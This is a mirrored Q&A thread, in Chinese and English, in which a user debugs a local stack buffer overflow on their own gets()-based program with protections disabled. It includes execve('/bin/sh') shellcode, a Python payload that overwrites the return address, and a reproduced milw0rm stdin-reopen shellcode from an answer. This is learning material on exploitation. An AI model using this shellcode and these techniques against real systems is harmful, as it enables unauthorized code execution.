简单堆栈溢出的 Shellcode:带有 shell 的被利用程序在 execve(“/bin/sh”) 之后直接终止

发布于 2024-09-01 15:42:11 字数 2078 浏览 10 评论 0原文

我在 Linux (amd64) 上尝试了缓冲区溢出并尝试利用一个简单的程序,但失败了。我禁用了安全功能(使用 sysctl -w kernel.randomize_va_space=0 和 BIOS 中的 nx 位进行地址空间布局随机化)。它跳转到堆栈并执行 shellcode,但不会启动 shell。 execve 系统调用成功,但随后终止。知道出了什么问题吗?独立运行 shellcode 效果很好。

附加问题:为什么在调用 printf 之前需要将 rax 设置为零? (参见代码中的注释)

漏洞文件 buffer.s

.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
    push %rbp
    mov %rsp, %rbp

    sub $120,  %rsp

    # calling printf without setting rax
    # to zero results in a segfault. why?
    xor %rax, %rax 
    mov %rsp, %rsi
    mov $.fmtsp, %rdi
    call printf

    mov %rsp, %rdi
    call gets

    xor %rax, %rax
    mov $.fmtjump, %rdi
    mov 8(%rbp), %rsi
    call printf

    xor %rax, %rax
    leave
    ret

shellcode.s

.text
.global main
main:
    mov $0x68732f6e69622fff, %rbx
    shr $0x8, %rbx
    push %rbx
    mov %rsp, %rdi
    xor %rsi, %rsi
    xor %rdx, %rdx
    xor %rax, %rax
    add $0x3b, %rax
    syscall

exploit.py

shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"
stackpointer = "\x7f\xff\xff\xff\xe3\x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output

编译于:

$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s

起始于:

$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328

使用 gdb 进行调试:

$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash

Program exited normally.

I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. The execve syscall succeeds but afterwards it just terminates. Any idea what's wrong? Running the shellcode standalone works just fine.

Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code)

Vulnerable file buffer.s:

.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
    push %rbp
    mov %rsp, %rbp

    sub $120,  %rsp

    # calling printf without setting rax
    # to zero results in a segfault. why?
    xor %rax, %rax 
    mov %rsp, %rsi
    mov $.fmtsp, %rdi
    call printf

    mov %rsp, %rdi
    call gets

    xor %rax, %rax
    mov $.fmtjump, %rdi
    mov 8(%rbp), %rsi
    call printf

    xor %rax, %rax
    leave
    ret

shellcode.s

.text
.global main
main:
    mov $0x68732f6e69622fff, %rbx
    shr $0x8, %rbx
    push %rbx
    mov %rsp, %rdi
    xor %rsi, %rsi
    xor %rdx, %rdx
    xor %rax, %rax
    add $0x3b, %rax
    syscall

exploit.py

shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"
stackpointer = "\x7f\xff\xff\xff\xe3\x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output

Compiled with:

$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s

Started with:

$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328

Debugging with gdb:

$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash

Program exited normally.

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(2

苹果你个爱泡泡 2024-09-08 15:42:11

我现在在虚拟机中使用 Ubuntu 9.10 时遇到了几乎相同的问题。
禁用操作系统的所有安全措施,并且像“退出程序并将退出代码设置为 42”这样的简单漏洞确实有效,但当尝试打开 shell 时,程序就会终止。
gdb 的输出是相同的:

(gdb) run < exploit.0xbffff3b8 
Starting program: /home/seminar/ubung/target/client < exploit.0xbffff3b8

Enter password: Sorry. Wrong password.
Executing new program: /bin/bash

Program exited normally.
(gdb)

问题是,我需要它在大约 10 秒内工作。 16 小时的演示:-D


更新:
我发现了这个巧妙的研究:www.shell-storm.org/papers/files/539.pdf

在第 16 页上它说:
“如果我们尝试执行 shell,它会在此配置中立即终止”

在不使用 gets() 的其他示例中,它们很好地生成了 shell。不幸的是,他们没有暗示为什么它不能那样工作。 :(


下次更新:
看来它与标准输入有关。 shell 无法正确使用从原始进程获取的进程。我尝试使用一个最小的 shell,我找到了 (evilsh) 的源代码。它在尝试读取输入时崩溃了。我的猜测是, bash/dash 检查这一点,并在标准输入出现问题时默默退出。


好吧,请不要因为我在这里与自己对话而杀了我,但是......

我找到了解决方案!

由于某种原因,有必要重新打开输入。我在这里找到了一个有效的 shellcode:

http://www.milw0rm.com/shellcode/2040

我没有看到提示,但我可以使用打开的 shell 运行程序等。

I'm having pretty much the same problem right now with Ubuntu 9.10 in a VM.
Disabled all the security measurements of the OS, and simple exploits like "exit the program and set exit-code to 42" do work, but when trying to open a shell, the program just terminates.
Output of gdb is identical:

(gdb) run < exploit.0xbffff3b8 
Starting program: /home/seminar/ubung/target/client < exploit.0xbffff3b8

Enter password: Sorry. Wrong password.
Executing new program: /bin/bash

Program exited normally.
(gdb)

Thing is, I need it working in approx. 16 hours for a presentation :-D


Update:
I found this neat study: www.shell-storm.org/papers/files/539.pdf

On page 16 it says:
"If we try to execute a shell, it terminates immediately in this configuration"

In other examples that don't use gets(), they do very well spawn a shell. Unfortunately, they don't give a hint on WHY it doesn't work that way. :(


Next Update:
It seems it has to do with stdin. The shell cannot properly use the one it gets from the original process. I tried using a minimal shell I found the sourcecode for (evilsh). It crashed at the point where it tried to read input. My guess is, that bash/dash checks for this and just silently exits when something is wrong with stdin.


Ok please don't kill me for having this conversation with myself here, but...

I found a solution!

For some reason it is necessary to reopen the inputs. I found a working shellcode here:

http://www.milw0rm.com/shellcode/2040

I don't see a prompt tough, but I can run programs etc. using the shell that opens.

鯉魚旗 2024-09-08 15:42:11

Zenoc 提供的链接已失效,但仍然可以在 Wayback 机器中找到。为了方便起见,我将其复制如下。我必须在顶部添加 add $0x10,%esp 来给我更多的堆栈空间,因为代码中的所有 push 都会进入我的 shellcode 所在的缓冲区存储。如果您也想将其包含到 shellcode 中,只需在开头添加“\x83\xc4\x10”即可。没有我添加的 shellcode 为 55 个字节,添加后为 58 个字节。

/*
 * $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $
 *
 * gets-linux.c - stdin re-open shellcode for Linux/x86
 * Copyright (c) 2003 Marco Ivaldi <[email protected]>
 *
 * Local shellcode for stdin re-open and /bin/sh exec. It closes stdin 
 * descriptor and re-opens /dev/tty, then does an execve() of /bin/sh.
 * Useful to exploit some gets() buffer overflows in an elegant way...
 */

/*
 * close(0) 
 *
 * 8049380:       31 c0                   xor    %eax,%eax
 * 8049382:       31 db                   xor    %ebx,%ebx
 * 8049384:       b0 06                   mov    $0x6,%al
 * 8049386:       cd 80                   int    $0x80
 *
 * open("/dev/tty", O_RDWR | ...)
 *
 * 8049388:       53                      push   %ebx
 * 8049389:       68 2f 74 74 79          push   $0x7974742f
 * 804938e:       68 2f 64 65 76          push   $0x7665642f
 * 8049393:       89 e3                   mov    %esp,%ebx
 * 8049395:       31 c9                   xor    %ecx,%ecx
 * 8049397:       66 b9 12 27             mov    $0x2712,%cx
 * 804939b:       b0 05                   mov    $0x5,%al
 * 804939d:       cd 80                   int    $0x80
 *
 * execve("/bin/sh", ["/bin/sh"], NULL)
 *
 * 804939f:       31 c0                   xor    %eax,%eax
 * 80493a1:       50                      push   %eax
 * 80493a2:       68 2f 2f 73 68          push   $0x68732f2f
 * 80493a7:       68 2f 62 69 6e          push   $0x6e69622f
 * 80493ac:       89 e3                   mov    %esp,%ebx
 * 80493ae:       50                      push   %eax
 * 80493af:       53                      push   %ebx
 * 80493b0:       89 e1                   mov    %esp,%ecx
 * 80493b2:       99                      cltd   
 * 80493b3:       b0 0b                   mov    $0xb,%al
 * 80493b5:       cd 80                   int    $0x80
 */

char sc[] = 
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

main()
{
    int (*f)() = (int (*)())sc; f();
}

// milw0rm.com [2006-07-20]

注意:我无法将此作为编辑添加到 Zenoc 的答案中,因为编辑队列已满。

如果由于终端和 gdb 中的堆栈不同而无法确定 shellcode 的地址,请查看我的答案 这里

The link provided by Zenoc is dead, but can still be found in the Wayback machine. For convenience, I've reproduced it below. I had to include add $0x10,%esp at the top to give me more stack space, as all the pushes in the code ate into the buffer where my shellcode was stored. If you'd like to include that to the shellcode too, just add "\x83\xc4\x10" to the start. The shellcode is 55 bytes without my addition, and 58 with.

/*
 * $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $
 *
 * gets-linux.c - stdin re-open shellcode for Linux/x86
 * Copyright (c) 2003 Marco Ivaldi <[email protected]>
 *
 * Local shellcode for stdin re-open and /bin/sh exec. It closes stdin 
 * descriptor and re-opens /dev/tty, then does an execve() of /bin/sh.
 * Useful to exploit some gets() buffer overflows in an elegant way...
 */

/*
 * close(0) 
 *
 * 8049380:       31 c0                   xor    %eax,%eax
 * 8049382:       31 db                   xor    %ebx,%ebx
 * 8049384:       b0 06                   mov    $0x6,%al
 * 8049386:       cd 80                   int    $0x80
 *
 * open("/dev/tty", O_RDWR | ...)
 *
 * 8049388:       53                      push   %ebx
 * 8049389:       68 2f 74 74 79          push   $0x7974742f
 * 804938e:       68 2f 64 65 76          push   $0x7665642f
 * 8049393:       89 e3                   mov    %esp,%ebx
 * 8049395:       31 c9                   xor    %ecx,%ecx
 * 8049397:       66 b9 12 27             mov    $0x2712,%cx
 * 804939b:       b0 05                   mov    $0x5,%al
 * 804939d:       cd 80                   int    $0x80
 *
 * execve("/bin/sh", ["/bin/sh"], NULL)
 *
 * 804939f:       31 c0                   xor    %eax,%eax
 * 80493a1:       50                      push   %eax
 * 80493a2:       68 2f 2f 73 68          push   $0x68732f2f
 * 80493a7:       68 2f 62 69 6e          push   $0x6e69622f
 * 80493ac:       89 e3                   mov    %esp,%ebx
 * 80493ae:       50                      push   %eax
 * 80493af:       53                      push   %ebx
 * 80493b0:       89 e1                   mov    %esp,%ecx
 * 80493b2:       99                      cltd   
 * 80493b3:       b0 0b                   mov    $0xb,%al
 * 80493b5:       cd 80                   int    $0x80
 */

char sc[] = 
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

main()
{
    int (*f)() = (int (*)())sc; f();
}

// milw0rm.com [2006-07-20]

Note: I couldn't add this as an edit to Zenoc's answer because the edit queue is full.

If you are having trouble pinpointing the address of your shellcode due to differing stacks in the terminal and gdb, have a look at my answer here.

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文